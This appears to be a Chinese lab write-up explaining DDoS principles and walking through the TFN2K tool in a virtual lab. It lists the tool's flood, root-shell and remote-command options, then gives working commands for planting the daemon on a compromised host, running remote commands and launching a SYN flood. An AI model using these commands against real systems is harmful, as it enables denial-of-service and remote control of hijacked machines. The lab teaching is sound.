一、实验目的
理解DDOS攻击原理使用TFN2K发起攻击二、实验环境
系统环境:Windows环境,kali环境软件环境:TFN2K三、实验原理
DDOS攻击原理分布式拒绝服务攻击的英文意思是DistributedDenialofService,简称DDOS。它利用在已经侵入并已控制的不同的高带宽主机(可能是数百,甚至成千上万台)上安装大量的DOS服务程序,他们等待来自中央攻击控制中心的命令,中央攻击控制中心适时启动全体受控主机的DOS服务进程,让它们对一个特定目标发送尽可能多的网络访问请求,形成一股DOS洪流冲击目标系统,猛烈的DOS攻击同一个网站。在寡不敌众的力量抗衡下,被攻击的目标网站会很快失去反应而不能及时处理正常的访问甚至系统瘫痪、崩溃。DDOS攻击角色分析从上图可以看出,DDOS攻击分为三层:攻击者、主控端、代理端,三者在攻击中扮演者不同的角色。(1)攻击者攻击者所用的计算机可以是网络上的任何一台计算机,甚至可以是一个活动的便携机。攻击者操作整个攻击过程,它向主控端发送攻击命令。(2)代理端代理端同样也是攻击者入侵并控制的一批主机,它们上面运行攻击者程序,接受和运行主控端发来的命令。代理端主机是攻击的执行者,真正向受害者主机发送攻击。三.DDOS攻击流程
攻击者发起DDOS攻击的第一步,就是寻找在Internet上有漏洞的主机,进入系统后在其上面安装后门程序,攻击者入侵的主机越多,他的攻击队伍就越壮大。第二步在入侵主机上安装攻击程序,其中一部分主机充当攻击的主控端,一部分主机充当攻击的代理端。最后各部分主机各司其职,在攻击者的调遣下对攻击对象发起攻击。由于攻击者在幕后操作,所以在攻击时不会受到监控系统的跟踪,身份不容易被发现。
四.TFN2K简介
TFN2K是由德国著名黑客Mixter编写的分布式拒绝服务攻击工具,是同类攻击工具TFN的后续版本。TFN2K通过主控端利用大量代理端主机的资源进行对一个或多个目标的协同攻击。当前互联网中的UNIX,Solaris和WindowsNT等平台的主机能被用于此类攻击,而且这个工具非常容易被移植到其他系统平台上。TFN2K由两部分组成:在主控端主机上的客户端和代理端主机上的守护进程。主控端向其他代理端发起攻击指定的目标主机列表。代理端据此对目标进行拒绝服务攻击。有一个主控端控制的多个代理端主机,能够在攻击过程中相互协同,保证攻击的连续性。主控端和代理端的网络通讯是经过加密的,还可能混杂了许多虚假数据包。整个TFN2K网络可能使用不同的TCP,UDP或ICMP包进行通讯,而且主控端还能伪造其IP地址。所有这些特征都使发展防御TFN2K攻击的策略和技术都非常困难或效率低下。TFN2K常用攻击命令:-f
这个参数后面跟文本文件名,就是真正实现DDOS攻击
-h
DOS攻击也就是单机,一对一的攻击,后面跟一个主机或IP地址
-p
后面指定一个端口
-c
最关键的参数,一共有11个选项:
0
停止攻击
1
反欺骗等级设定,因为TFN这个工具在攻击的时候所发出的数据包是带有源地址的,但是源地址是随机的,也就是说地址不是你自己给的,所以不用担心会反查到你的IP地址
2
改编数据包的包尺寸:缺省的ICMP/8,smurf,udp攻击缺省使用最小包,可以通过改变每个包的有效载荷的字节增加它的大小
3
绑定rootshell:启动一个会话服务,然后连接一个指定端口就可以得到一个rootshell
4
UDP洪水攻击:这个攻击是利用这样一个事实:每个UDP包被送往一个关闭的端口,这样就会有一个ICMP不可达到的信息返回,增加了攻击的能力
5
SYN洪水攻击:这个攻击由规律的送虚假的链接请求。结果会是目标端口拒绝服务,添满TCP连接表,通过对不存在主机的TCP/RST响应增加攻击潜力,是标准的拒绝服务攻击
6
ICMP响应(ping)攻击:这个攻击发送虚假地址的ping请求,目标主机会回送相同大小的响应包
7
SMURF攻击:用目标主机的地址发送ping请求以广播扩大,这样目标主机将得到回复一个多倍的回复
8
MIX攻击:按照1:1:1的关系交替的发送UDP,SYN,ICMP包,这样就可以对付路由器,其它包转发设备,NIDS,sniffers等,轮播轰炸
9
TARGA3攻击
10
远程命令执行,这个参数是TFN的附加功能,其实TFN的攻击不仅仅是DOS,还可以远程的进行明令控制
控制命令:./tfn -f hostext -c10-i"mkdir /root/edison"在所有的HOST上root目录建立edison,-i后面跟命令 ./tfn -f hostext -c4-i x.x.x.x 使用hostext文件中记录的主机对x.x.x.x服务器进行UDP攻击 ./tfn -f hostext -c5-i x.x.x.x -p xxxx 使用hostext文件中记录的主机对x.x.x.x服务器进行TCP拒绝服务攻击 ./tfn -f hostext -c6-i x.x.x.x 使用hostext文件中记录的主机对x.x.x.x服务器进行ICMP攻击四、实验步骤:
本次实验使用TFN2K进行DDOS攻击。TFN2K安装:在进行攻击之前,需对TFN2K进行安装,其安装压缩包在实验工具文件夹中提供。打开kali虚拟机,解压实验文件夹中的tfn2k.tar文件,解压文件如下图所示:双击进入TFN2K文件夹,并在此文件夹中打开终端,如下图所示:
在终端输入命令make命令编译源文件,在此期间会要求输入通信密钥,该密钥可以任意输入,此处输入12345678,这里输入密码最少8为,这个必须记住是调用代理端td进程的唯一认证,如下图所示:
输入密钥之后点击回车,编译完成后,生成执行文件tfn与td,如下图所示:
tfn为主控端,通过此程序对代理端加密、下发攻击指令。Td为代理端,负责解密、接受攻击命令并发起攻击。代理端和主控端之间的网络通讯是进行加密的,使用的是AES对此加密算法,所以作为加密、解密的双方都需要知道密钥,加密方使用密钥对信息进行加密,解密方使用密钥对信息解密。在tfn2k中,作为下发控制命令的主控端利用密钥对发送信息进行加密,作为接受命令的代理端则利用密钥对接受的信息进行解密并执行命令,与此同时代理端可以通过密钥确定主控端身份。tfn2k攻击:此次实验虚构背景为攻击者已经攻破了目标机器并且可以上传任意文件,便可以将td代理程序植入目标机器中并将其运行。通过ssh远程连接傀儡机,傀儡机的IP:192.168.70.137攻击者植入td程序后,首先将其运行,运行td程序命令./td
查看系统进程,命令:ps -a ,从图中可以得知td程序已于后台运行并监听来自主控端的命令,准备对目标主机发起攻击
确定td程序运行之后可以首先进行测试,测试td程序是否能够接受到主控端的命令并且执行命令。例如主控端发送命令让td程序在目标主机中新建test文件夹,若test文件夹被成功创建说明td程序正常运行。在进行攻击测试之前需要在主控端新建一个代理主机文件(ip.txt),并且将代理主机的IP地址加入进去,新建代理主机文件以及添加IP地址的命令如下:touch ip.txtecho 192.168.70.137>ip.txt通过主控端tfn程序发送新建test文件夹的命令给代理端来进行简单的控制测试,通过tfn攻击命令在傀儡机tmp目录下新建test文件夹,命令如下:./tfn -f ip.txt -c 10 -i "mkdir /tmp/test"打开tmp目录,发现test文件夹创建成功,通信正常打开傀儡机的tmp目录下,发现test文件夹已经成功被创建确认主控端与代理端通讯正常后,便可以开始对目标主机进行攻击。启动window7虚拟机,Windows7虚拟机为被攻击目标机器。获取Windows7虚拟机的IP地址,打开wireshark I/O图表,从I/O图标中可以得知每秒钟收发数据包数仅为两位数,如下如所示:主控端向代理端开始发起攻击指令,命令代理端向目标机器发起SYN泛洪攻击。指令如下(192.168.70.139为被攻击电脑Windows7虚拟机IP),输入通信密钥后点击回车,代理端接受到主控端的命令开始对目标机器发起SYN泛洪攻击,如下图所示:攻击命令:./tfn -f ip.txt -c 5 -i 192.168.70.139在Windows7虚拟机中查看wireshark抓包结果可以得知接受到了大量的数据包,如下图所示:在I/O图表中可以得知每秒捕获数万个数据包主控端向代理端下发停止攻击指令,如下图:停止攻击命令:./tfn -f ip.txt -c 0结论:利用一台傀儡机进行攻击,便可以每秒捕获上万伪造数据包,却明显感觉被攻击的操作系统开始卡顿,若有更多的机器同时发起攻击,无疑会造成的后果将更加严重。